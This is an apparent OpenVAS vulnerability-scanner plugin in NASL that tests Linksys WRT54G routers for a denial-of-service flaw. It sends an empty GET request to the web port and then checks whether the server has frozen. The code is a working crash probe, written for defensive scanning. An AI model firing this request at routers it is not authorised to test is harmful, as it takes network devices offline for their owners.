It is possible to freeze the remote web server by
sending an empty GET request.
# SPDX-FileCopyrightText: 2003 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.11941");
script_version("2023-07-21T05:05:22+0000");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_name("Linksys WRT54G DoS Vulnerability");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2003 Michel Arboi");
script_family("Denial of Service");
script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_xref(name:"URL", value:"http://www.zone-h.org/en/advisories/read/id=3523/");
script_tag(name:"solution", value:"Upgrade your firmware.");
script_tag(name:"summary", value:"It is possible to freeze the remote web server by
sending an empty GET request.");
script_tag(name:"affected", value:"Linksys WRT54G routers are known to be affected. Other products
might be affected as well.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("http_func.inc");
include("port_service_func.inc");
port = http_get_port(default:80);
if(http_is_dead(port: port))
exit(0);
soc = http_open_socket(port);
if(!port)
exit(0);
req = 'GET\r\n';
send(socket:soc, data:req);
http_recv(socket:soc);
http_close_socket(soc);
if(http_is_dead(port:port, retry:4)) {
security_message(port:port);
exit(0);
}
exit(99);